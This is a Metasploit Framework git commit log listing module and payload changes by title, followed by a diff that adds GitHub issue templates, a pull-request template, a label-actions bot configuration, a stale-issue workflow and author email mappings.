Brent Cook c13cf63f2d remove dllinject 2019-06-11 17:58:57 -05:00
asoto-r7 6f65f38943 Revert f162822 2019-06-11 13:23:58 -05:00
Brent Cook 20d21bb7cc update specs, add a few more compat modules 2019-06-11 12:56:11 -05:00
Brent Cook 4d6e0e9892 https 2019-06-11 04:48:52 -05:00
Brent Cook 44dfc3506d add udpsockedi, tag compatible payloads
Not all payloads compatible with TCP stagers are compatible with UDP
stagers, so assuming sockedi is not sufficient to ensure compatibility.
This adds a udpsockedi which pairs compatible payloads together.
2019-06-11 04:19:14 -05:00
bwatters-r7 915149ad6d Reset send_uuid because it should not have been changed
remove debug print from options
change puts on pingback
2019-06-10 15:03:49 -05:00
h00die bd58fdf77a remove ssh.rb from change 2019-06-09 15:11:07 -04:00
h00die 4d60f38177 brocade working 2019-06-09 15:10:05 -04:00
h00die cf90f8250d reimport brocade module 2019-06-09 15:09:06 -04:00
William Vu a8867992ae Add minimal HttpServer support 2019-06-07 11:53:47 -05:00
William Vu d943b4d314 Fix style 2019-06-07 11:44:17 -05:00
William Vu be6a34398a Rename module to match product 2019-06-07 11:33:10 -05:00
William Vu 9e47e061f2 Remove rank to appease msftidy 2019-06-07 11:28:39 -05:00
William Vu 397e6b16a4 Move aux module out of exploits 2019-06-07 11:18:33 -05:00
NickTyrer 45db30bd90 increase randomness to avoid duplicates 2019-06-07 15:02:47 +01:00
Shelby Pace 5b188a02ba add code that makes hard links 2019-06-06 15:59:53 -05:00
Shelby Pace 76ef689827 add hard link creation code 2019-06-06 15:58:44 -05:00
Dhiraj Mishra 6333271320 supra_smart_tv_rfi 2019-06-06 16:17:28 +05:30
asoto-r7 6d155a8573 Remove a left-over 'pry' debugger invocation 2019-06-04 17:52:03 -05:00
bwatters-r7 e8487b547f Should not have changed reverse_tcp.rb 2019-06-04 16:01:45 -05:00
asoto-r7 928e4679ae cmd/unix/pingback_* payloads now use 'printf' in place of 'echo' 2019-06-04 15:47:21 -05:00
asoto-r7 e9ef0b1c38 Remove workspace reference in async_callback database table 2019-06-04 15:12:31 -05:00
h00die 65a87b88ab modify creds command to truncate long hashes 2019-06-02 21:38:41 -04:00
h00die 3589c4f4c7 avoid cracking hashes already cracked 2019-06-02 21:14:02 -04:00
CCob aaa017e9cd Fix issue where Linux x64 shell_find_port did not set the sockaddr_len value 2019-06-02 09:23:09 +01:00
bwatters-r7 1ed6187212 Undo changes to windows/bind_tcp 2019-05-31 18:47:54 -05:00
h00die b26c5c63e2 add webapp and complete docs 2019-05-31 19:11:01 -04:00
h00die 65536034b2 overhaul when things run 2019-05-31 17:13:34 -04:00
h00die 2cccd50160 creds command working
debuggin hashcat aix

remove word normal

get hashcat working on aix

add deprecated jtr_aix

prettying up crack_aix

custom wordlists should include the words themselves

make format transparent to user

aix cleanup, linux working

linux working, database in progress

crack databases working

crack windows working

spaces at eol

spec updates

spec updates

spec working

add version detection

crack_aix fixes and docs

refactoring crack modules

fix syntax error

docs for crackers

markup touchups

osx cracker

jenkins

fix jenkins

remove crypt fix osx for 10.7

doc fixes and osx sha512
2019-05-31 12:18:25 -04:00
bwatters-r7 d5198069ff Stupid last trailing space 2019-05-30 16:45:08 -05:00
bwatters-r7 b7da6c4492 Fix some spacing 2019-05-30 16:09:33 -05:00
bwatters-r7 11be752a2f Reset changes to Gemfile.lock 2019-05-30 14:30:12 -05:00
bwatters-r7 2f92d0f8a2 Shut up, nmsftidy.... I hope 2019-05-30 14:27:37 -05:00
bwatters-r7 139ea45dae Hold off on venom changes for a new PR 2019-05-30 14:19:17 -05:00
bwatters-r7 e3c85425ee Add the new file 2019-05-30 11:41:04 -05:00
bwatters-r7 b81001d486 Code deduplication 2019-05-30 11:40:57 -05:00
asoto-r7 22ad4dbf95 WIP: Adding default pingback payload to parent check method 2019-05-30 11:40:57 -05:00
asoto-r7 45197cf4ab Clean up requires and includes 2019-05-30 11:40:57 -05:00
asoto-r7 f118af18ea Clean up require's and calculate CachedSize 2019-05-30 11:40:57 -05:00
asoto-r7 f3cf6e8159 cmd/unix/pingback_reverse and cmd/unix/pingback_bind 2019-05-30 11:40:56 -05:00
bwatters-r7 2469d9e010 That's better..... 2019-05-30 11:40:56 -05:00
bwatters-r7 f8492c8b0b First swing at x86 windows reverse_tcp pingback
Still issues with the looping and counters.
2019-05-30 11:40:56 -05:00
bwatters-r7 a9e1bac5fb Remove extra stuff that was part of the staged attempt at pingback.
It is no longer required because pingback is now a single.
2019-05-30 11:40:54 -05:00
asoto-r7 4092221ca9 Ruby pingback payload (bind and reverse) 2019-05-30 11:40:09 -05:00
asoto-r7 920b034b03 Python pingback payload (reverse only) 2019-05-30 11:40:08 -05:00
asoto-r7 2184ad35b7 python pingback_bind_tcp: send UUID as raw bytes instead of ASCII 2019-05-30 11:40:08 -05:00
asoto-r7 0bcb94f989 Remove 'workspace' option from Mdm::Payload.create 2019-05-30 11:40:08 -05:00
asoto-r7 ce0525cb11 Update metasploit_data_models from 3.0.8 to 3.0.10 2019-05-30 11:40:05 -05:00
asoto-r7 27c41a165a Python pingback payload (bind only) 2019-05-30 11:38:47 -05:00
asoto-r7 ec01713d7e Linux pingback payloads 2019-05-30 11:38:47 -05:00
Aaron Soto c89fd1cc3f Add error handling for users without a database configured 2019-05-30 11:38:46 -05:00
Aaron Soto 6ac80d0f5a Enable database support in msfvenom to allow for saving UUIDs 2019-05-30 11:38:46 -05:00
Aaron Soto e83bdf7c7e Record UUID upon pingback_reverse_tcp generation and callback 2019-05-30 11:38:46 -05:00
Aaron Soto a61dd66d95 Record UUID upon reverse_tcp_pingback generation and callback 2019-05-30 11:38:40 -05:00
bwatters-r7 b12128a8d0 Fix odd edge case converting binary to hex string 2019-05-30 11:37:34 -05:00
bwatters-r7 1ab0a04f60 Use nonvolitile register for the counter
Change option name to match convention
2019-05-30 11:37:33 -05:00
bwatters-r7 b818d6d9d3 Updated to have a handler 2019-05-30 11:37:33 -05:00
bwatters-r7 a2f55947e6 Add support for pingback as a single and session... 2019-05-30 11:37:33 -05:00
bwatters-r7 e233ee38ea Let's try it as a single this time.... 2019-05-30 11:34:06 -05:00
bwatters-r7 c9c78ba707 Add new files 2019-05-30 11:34:06 -05:00
bwatters-r7 bd65f81627 Add pingback changes 2019-05-30 11:33:46 -05:00
bwatters-r7 535dc343b9 Maybe stage the new files, too 2019-05-30 11:30:55 -05:00
Aaron Soto e1271317ac REST API for async-callbacks, removed array datatypes, cleaned up Swagger 2019-05-30 11:30:55 -05:00
Aaron Soto afddfff3be WIP: REST API for async-callbacks, added UUID search 2019-05-30 11:30:55 -05:00
Aaron Soto 84acf0d09d WIP: Remove PUT and DELETE endpoints 2019-05-30 11:30:55 -05:00
Aaron Soto 86c054c5e3 Bring pingback-payload changes into public framework 2019-05-30 11:30:19 -05:00
Aaron Soto 85d35e6c87 WIP: REST API for async-callbacks 2019-05-30 11:25:48 -05:00
bcoles ca8c72d586 Fix abrt package version check 2019-05-30 04:24:53 +10:00
NickTyrer 4a359f5f5e format 2019-05-27 21:19:10 +01:00
NickTyrer a3b22cbec4 fix formatting 2019-05-27 18:04:24 +01:00
NickTyrer 4487ae7ad3 fix formatting 2019-05-27 18:01:40 +01:00
NickTyrer 73f234a48a address documentation issues raised by @cbrnrd 2019-05-27 17:55:58 +01:00
NickTyrer 894d817fd1 updated instructions function 2019-05-27 16:58:16 +01:00
NickTyrer ab20c24340 fix setting mod variables 2019-05-27 16:34:53 +01:00
NickTyrer b7221a65a1 addressed issues raised by @cbrnrd 2019-05-26 22:18:43 +01:00
NickTyrer f6eeb7b4b1 fix typo 2019-05-23 20:35:29 +01:00
NickTyrer 9a6d56a8de fix typo 2019-05-23 20:29:11 +01:00
NickTyrer f023fb9525 add further obfuscation 2019-05-02 08:39:35 +01:00
NickTyrer 38256a18bd added further obfuscation to module 2019-05-01 17:05:40 +01:00
Brendan Coles f11ce8635f Add ptrace Sudo Token Privilege Escalation module 2019-04-30 21:54:18 +00:00
NickTyrer ee7ef7ad4e fix typo 2019-04-29 22:23:49 +01:00
Mike Menasi 487714b98e add new evasion module applocker_evasion_install_util 2019-04-29 21:34:56 +01:00
h4ng3r 1c54430dff Add bloodhound module documentation 2019-04-28 22:49:55 +02:00
Tim W d20801cf12 add apple advisory 2019-04-26 13:25:26 +08:00
Tim W f3f044ec59 add payload length check 2019-04-26 12:28:51 +08:00
Tim W 246fb6fa90 improve description
docs
2019-04-22 14:40:57 +08:00
bcoles 421e250086 Update modules/exploits/osx/local/timemachine_cmd_injection.rb
Co-Authored-By: timwr <timwr@users.noreply.github.com>
2019-04-21 19:59:14 +08:00
bcoles f1f64cfbb8 Update modules/exploits/osx/local/timemachine_cmd_injection.rb
Co-Authored-By: timwr <timwr@users.noreply.github.com>
2019-04-21 19:59:04 +08:00
Tim W 1a2a85b142 add documentation 2019-04-21 16:04:16 +08:00
Tim W fbbcc2b607 add exploit binary 2019-04-21 16:02:10 +08:00
Tim W c2c6c56785 fix cleanup 2019-04-21 16:02:10 +08:00
bcoles ba03a0c9eb Remove unused variable 2019-04-20 21:41:25 +10:00
Brendan Coles a5b894dca3 Add sosreport-rhel7.py 2019-04-20 11:56:01 +00:00
Brendan Coles e714f9028e Add ABRT sosreport Privilege Escalation module 2019-04-20 11:48:52 +00:00
bcoles 7a431b0690 Update modules/exploits/osx/local/timemachine_cmd_injection.rb
Co-Authored-By: timwr <timwr@users.noreply.github.com>
2019-04-17 22:22:59 +08:00
Tim W 0472f96209 add the exploit binary 2019-04-16 13:09:41 +08:00
Tim W c428684732 eject only the malformed images 2019-04-16 13:09:13 +08:00
Tim W a7bd52cb2e initial commit of CVE-2019-8513 (TimeMachine cmd injection) 2019-04-14 20:58:57 +08:00
h00die ff5b790028 apache tika exploit msftidy 2019-03-28 22:07:01 -04:00
h00die dc33998374 apache tika exploit 2019-03-28 22:05:05 -04:00
Quentin Kaiser e2101c7931 Fix module so it supports both ARCH_CMD and ARCH_ARMLE. 2019-03-28 19:50:26 +01:00
Quentin Kaiser 8ec5a124b4 Follow @bcoles recommendations for 'check' function. 2019-03-28 15:59:22 +01:00
Quentin Kaiser 92e4393025 Update documentation to reflect usage of CmdStager. 2019-03-28 11:09:39 +01:00
Quentin Kaiser cbcc2f2088 Moved to Cmdstager. 2019-03-28 11:03:01 +01:00
Quentin Kaiser a9fcd13257 Removed unnecessary includes. 2019-03-28 10:53:07 +01:00
Quentin Kaiser 1a564a6f70 Uppercase words. 2019-03-28 10:49:10 +01:00
Quentin Kaiser 7794cc0234 No need for parenthesis. 2019-03-28 10:48:38 +01:00
Quentin Kaiser fbaebc14be Shrink to oneliner. 2019-03-28 10:45:17 +01:00
Quentin Kaiser cef8dc2fa2 << is preferred. 2019-03-28 10:42:33 +01:00
Quentin Kaiser de6f49305c Correct disclosure date format. 2019-03-27 14:22:37 +01:00
Quentin Kaiser 6fde3ea566 These files have nothing to do here. 2019-03-27 14:20:34 +01:00
Quentin Kaiser ed7d9a10ac Release of Awindinc SNMP exploit. 2019-03-27 14:13:36 +01:00
pkb1s 828eee12eb using "return early, return often" style 2019-03-04 19:31:49 +00:00
pkb1s 8e855867a9 Update exchange_web_server_pushsubscription.rb 2019-03-04 18:39:30 +00:00
pkb1s d0ab528381 Update exchange_web_server_pushsubscription.rb 2019-03-04 18:15:05 +00:00
pkb1s 794e74c25b added cve in reference 2019-03-04 17:18:52 +00:00
pkb1s 12ffc2a811 changed reference structure 2019-03-04 17:17:22 +00:00
bcoles 3196b6bacb Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:11:00 +00:00
pkb1s b43f6e8173 updated author section 2019-03-04 17:09:17 +00:00
bcoles 62054ed096 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:06:04 +00:00
bcoles 2286824645 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:04:49 +00:00
bcoles 40ff19a0c3 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:04:34 +00:00
bcoles 7734f436e9 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:04:24 +00:00
Garvit Dewan c48a6ddbdf Add /boot/grub2/user.cfg path to grub_password 2019-02-21 14:17:15 +05:30
pkb1s e06d7e2ded correction of CVE number 2019-02-17 21:36:30 +00:00
Garvit Dewan f823927832 Update documentation 2019-02-17 23:37:52 +05:30
Garvit Dewan a1b1ace18f Save the gathered credentials to database 2019-02-17 23:33:12 +05:30
Garvit Dewan 2dd9466c82 Add documentation for grub_password module 2019-02-17 22:15:47 +05:30
Garvit Dewan 85add746e1 Make suggested changes to grub_password module 2019-02-17 21:31:58 +05:30
Garvit Dewan 68414d07ce Make suggested changes to grub_password module 2019-02-17 20:23:26 +05:30
Garvit Dewan 22340ab2c1 Add *nix Gather Grub Password module 2019-02-17 19:29:47 +05:30
pkb1s 1999f6885b Minor changes to module options 2019-02-16 13:26:02 +00:00
pkb1s e12052a83e Update exchange_web_server_pushsubscription.md 2019-02-16 13:19:07 +00:00
pkb1s 3a77cc9805 Update exchange_web_server_pushsubscription.rb 2019-02-16 02:38:55 +00:00
pkb1s 72f73c59ee Update exchange_web_server_pushsubscription.md 2019-02-16 02:37:18 +00:00
pkb1s 51df27636d Add documentation 2019-02-16 02:34:14 +00:00
root 949d140326 Added auxiliary module code 2019-02-16 02:04:40 +00:00
Zack Flack 1f802a88dc rename module documentation 2019-02-12 21:02:02 +08:00
Zack Flack 42fa436940 apply rubocop fixes, remove unless statements 2019-02-12 20:25:58 +08:00
Zack Flack 16628806e1 generate relative path to /etc/passwd 2019-02-12 18:43:15 +08:00
Zack Flack 17c6b8dec1 add initial documentation 2019-02-11 23:51:16 +08:00
Zack Flack 5fde493add refactor version check, reduce verbosity 2019-02-11 23:50:09 +08:00
Zack Flack 92063560eb add version check, tweak payload execution for aix 2019-02-10 23:33:24 +08:00
Zack Flack 619d51c768 add inital port of perl exploit 2019-02-06 19:42:40 +08:00
Steve Embling 8585dacbb4 Updated to relevant references
Updated references to blog post and mailing list of commit proposal

Updated disclosure date to commit proposal
2019-01-18 17:01:17 +00:00
Brendan Coles 0a5957c36f Add Linux support to multi/script/web_delivery 2019-01-06 19:40:30 +00:00
Aaron Ringo 9dd4017674 some modifications to WIP, changed gcc, fixed other errors 2018-11-26 21:06:37 -06:00
Aaron Ringo 5e9c10dbe8 added modulepath, tested on centos with selinux 2018-11-25 19:48:05 -06:00
Aaron Ringo 2ad453b6e3 added modulepath 2018-11-25 15:54:37 -06:00
Marc d3e89869ba Add post module to execute SharpHound injector and gather all the files 2018-10-16 17:53:02 +02:00
Quentin Kaiser 479b09962c Awind stuff. 2018-09-11 15:16:23 +02:00
Steve f7271d0086 Added curl flavor 2018-02-15 13:11:25 +00:00
Steve 8976b52216 Handle error stating that SNMP has timed out 2018-02-14 17:35:19 +00:00
Steve b0aeee8435 Documentation update 2018-02-14 17:08:04 +00:00
Steve 08d1f9a5c8 Documentation update 2018-02-14 17:03:42 +00:00
Steve 5f6ecd2ff9 Documentation update 2018-02-14 16:58:14 +00:00
Steve 734a6496c5 Fix escaping of printf and echo payloads 2018-02-14 16:21:15 +00:00
Steve dd267ba438 Fix msftidy warnings 2018-02-14 09:35:25 +00:00
Steve 361a999dd1 Use ARCH_X64 instead 2018-02-09 18:49:04 +00:00
Steve f17b9aed0c Use cmd_stager 2018-02-09 18:38:09 +00:00
Steve 7598a5801a Fix use of local var 2018-02-09 09:36:59 +00:00
Steve f372e8ec09 Documentation markdown fix 2018-02-08 16:19:09 +00:00
Steve 829cfbab3b Replaced string concats with interpolation 2018-02-08 16:11:47 +00:00
Steve a415a82aa3 Shortened SNMPManager.open statements 2018-02-08 16:09:53 +00:00
Steve 60e3b7be1a Clarified printf string 2018-02-08 16:06:44 +00:00
Steve 9bea263805 Changed temporary filename to local variable 2018-02-08 16:04:49 +00:00
Steve 50a1a0ae6c Add comment to space limitation 2018-02-08 16:03:17 +00:00
Steve ba528c8d50 Indented description 2018-02-08 16:01:16 +00:00
Steve 180bc1f741 Add options to documentation 2018-02-08 15:58:01 +00:00
Steve 358725bdd6 Update documentation 2018-02-08 15:48:19 +00:00
Steve Embling 1161787cbd Removed comma in payload -> space 2018-01-02 12:28:20 +00:00
Steve Embling e1fdd403ed Added documentation 2017-12-22 16:51:10 +00:00
Steve Embling be8538152c Added net_snmpd_rw_access exploit, authenticated remote code execution on Net-SNMPD for Linux systems 2017-12-22 16:42:03 +00:00
2528 changed files with 173093 additions and 27511 deletions
@@ -1,3 +1,19 @@
---
name: Bug Report 🐞
about: Something isn't working as expected? Here is the right place to report.
labels: "bug"
---
<!--
Please fill out each section below, otherwise, your issue will be closed. This info allows Metasploit maintainers to diagnose (and fix!) your issue as quickly as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
- Reporting a Bug: https://github.com/rapid7/metasploit-framework/wiki/Reporting-a-Bug
Before opening a new issue, please search existing issues: https://github.com/rapid7/metasploit-framework/issues
-->
## Steps to reproduce
How'd you do it?
@@ -9,6 +25,10 @@ This section should also tell us any relevant information about the
environment; for example, if an exploit that used to work is failing,
tell us the victim operating system and service versions.
## Were you following a specific guide/tutorial or reading documentation?
If yes link the guide/tutorial or documentation you were following here, otherwise you may omit this section.
## Expected behavior
What should happen?
@@ -38,4 +58,3 @@ Get this with the `version` command in msfconsole (or `git log -1 --pretty=oneli
What OS are you running Metasploit on?
+5
View File
@@ -0,0 +1,5 @@
blank_issues_enabled: false
contact_links:
- name: Termux Issues?
url: https://github.com/rapid7/metasploit-framework/issues/11023
about: Termux is not officially supported, check here for more info
+42
View File
@@ -0,0 +1,42 @@
---
name: Documentation 📝
about: Suggest better docs coverage for a particular tool or process.
labels: "suggestion-docs"
---
<!--
To make it easier for us to help you, please include as much useful information as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
-->
## Summary
What problem(s) did you run into that caused you to request additional documentation? What questions do you think we should answer? What, if any, existing documentation relates to this proposal?
Some recommended topics to cover:
- List the topics you think should be here.
- This list does not need to be exhaustive!
### Motivation
Why should we document this and who will benefit from it?
## Steps to resolve this issue
<!-- Your suggestion may require additional steps. Remember to add any relevant labels. Note that you'll need to fill in the link to a similar article as well as the correct section. Don't worry if you're not yet sure about these, especially if this is a brand new topic! -->
### Draft the doc
- [ ] Write the doc, following the format listed in these resources:
- [Overview on contributing module documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
- [Docs Templates](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
- [Example of a similar article]()
### Open a pull request
- [ ] Open a pull request with your work including the words "closes #[this issue's number]" in the pull request description
@@ -0,0 +1,26 @@
---
name: Feature Suggestion 💡
about: Suggest a new idea for the project.
labels: "suggestion-feature"
---
<!--
To make it easier for us to help you, please include as much useful information as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
-->
## Summary
Brief explanation of the feature.
### Basic example
If the proposal involves a new or changed API, include a basic code example. Omit this section if it's not applicable.
### Motivation
Why are we doing this? What use cases does it support? What is the expected outcome?
@@ -0,0 +1,26 @@
---
name: Module Suggestion 📦
about: Suggest a new module idea to include in framework.
labels: "suggestion-module"
---
<!--
To make it easier for us to help you, please include as much useful information as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
-->
## Summary
Brief explanation of the module.
### Basic example
If you have a POC, blog post or any other useful references please let us know in this section.
### Motivation
Why are we doing this? What use cases does it support? What is the expected outcome?
+20
View File
@@ -0,0 +1,20 @@
---
name: Question 🤔
about: Usage question or discussion about Metasploit.
labels: "question"
---
<!--
To make it easier for us to help you, please include as much useful information as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
-->
## Summary
## Relevant information
<!-- Provide as much useful information as you can -->
+17 -1
View File
@@ -1,4 +1,3 @@
Tell us what this change does. If you're fixing a bug, please mention
the github issue number.
@@ -15,3 +14,20 @@ List the steps needed to make sure this thing works
- [ ] **Verify** the thing does not do what it should not
- [ ] **Document** the thing and how it works ([Example](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/gather/aws_keys.md))
If you are opening a PR for a new module that exploits a **specific** piece of hardware or requires a **complex or hard-to-find** testing environment, we recommend that you send us a demo of your module executing correctly. Seeing your module in action will help us review your PR faster!
Specific Hardware Examples:
* Switches
* Routers
* IP Cameras
* IoT devices
Complex Software Examples:
* Expensive proprietary software
* Software with an extensive installation process
* Software that requires exploit testing across multiple significantly different versions
* Software without an English language UI
We will also accept demonstrations of successful module execution even if your module doesn't meet the above conditions. It's not a necessity, but it may help us land your module faster!
Demonstration of successful module execution can take the form of a packet capture (pcap) or a screen recording. You can send pcaps and recordings to [msfdev@metaspolit.com](mailto:msfdev@metaspolit.com). Please include a CVE number in the subject header (if applicable), and a link to your PR in the email body.
+125
View File
@@ -0,0 +1,125 @@
# Configuration for Github App - https://github.com/dessant/label-actions
#
# Note: Be aware of the edge cases of YAML when writing multiline strings:
# - https://yaml-multiline.info/
# - https://github.com/dessant/label-actions/issues/1
pulls:
actions:
attic:
close: true
comment: |
Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it `attic` and closed it for now.
What does this generally mean? It could be one or more of several things:
- It doesn't look like there has been any activity on this pull request in a while
- We may not have the proper access or equipment to test this pull request, or the contributor doesn't have time to work on it right now.
- Sometimes the implementation isn't quite right and a different approach is necessary.
We would love to land this pull request when it's ready. If you have a chance to address all comments, we would be happy to reopen and discuss how to merge this!
needs-docs:
comment: |
Thanks for your pull request! Before this can be merged, we need the following documentation for your module:
- [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
needs-linting:
comment: |
Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.
We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:
```
rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>
```
You can automate most of these changes with the `-a` flag:
```
rubocop -a <directory or file>
```
Please update your branch after these have been made, and reach out if you have any problems.
needs-unique-branch:
close: true
comment: |
Thanks for your pull request! We require for all contributed code to come from a **from a unique branch** in your repository before it can be merged.
Please create a new branch in your fork of framework and resubmit this from that branch.
If you are using Git on the command line that may look like:
```
# Checkout the master branch
git checkout master
# Create a new branch for your feature
git checkout -b <BRANCH_NAME>
# Add your new files
git add modules/my-cool-new-module
# Commit your changes with a relevant message
git commit
# Push your changes to GitHub
git push origin <BRANCH_NAME>
# Now browse to the following URL and create your pull request!
# - https://github.com/rapid7/metasploit-framework/pulls
```
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
Please do resubmit from a unique branch, we greatly value your contribution! :tada:
needs-testing-environment:
comment: |
Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected.
We have been unable to test this module successfully. This may be due to software or hardware requirements we cannot replicate.
To help unblock this pull request, please:
- Comment with links to documentation on how to set up an environment, and provide exact software version numbers to use
- Or comment guided steps on how to set up our environment for testing this module
- Or send pcaps/screenshots/recordings of it working - you can email us msfdev[at]rapid7.com
Once there's a clear path for testing and evaluating this module, we can progress with this further.
needs-pull-request-template:
close: false
comment: |
When creating a pull request, please ensure that the default pull request template has been updated with the required details.
issues:
actions:
termux:
comment: |
Termux is not officially supported. https://github.com/rapid7/metasploit-framework/issues/11023
However, Metasploit reportedly does work with Termux.
Refer to the following for more information:
* https://wiki.termux.com/wiki/Metasploit_Framework
* termux/termux-packages/issues/715
needs-issue-template:
close: true
comment: |
When creating an issue, please ensure that the default issue template has been updated with the required details.
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
potato:
close: true
comment: |
When creating an issue, please ensure that the default issue template has been updated with the required details.
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
+36
View File
@@ -0,0 +1,36 @@
on:
schedule:
- cron: "0 16 * * *"
name: Stale Bot workflow
jobs:
build:
name: stale
runs-on: ubuntu-latest
steps:
- name: stale
id: stale
uses: actions/stale@v3
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
days-before-stale: 30
days-before-close: 30
operations-per-run: 10
stale-issue-message: |
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. Its been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
close-issue-message: |
Hi again!
Its been 60 days since anything happened on this issue, so we are going to close it.
Please keep in mind that Im only a robot, so if Ive closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
exempt-issue-labels: |
not stale
debug-only: true
+61 -56
View File
@@ -1,59 +1,44 @@
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
egypt <egypt@github> <james_lee@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
khayes-r7 <khayes-r7@github> <Kirk_Hayes@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
todb-r7 <todb-r7@github> <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
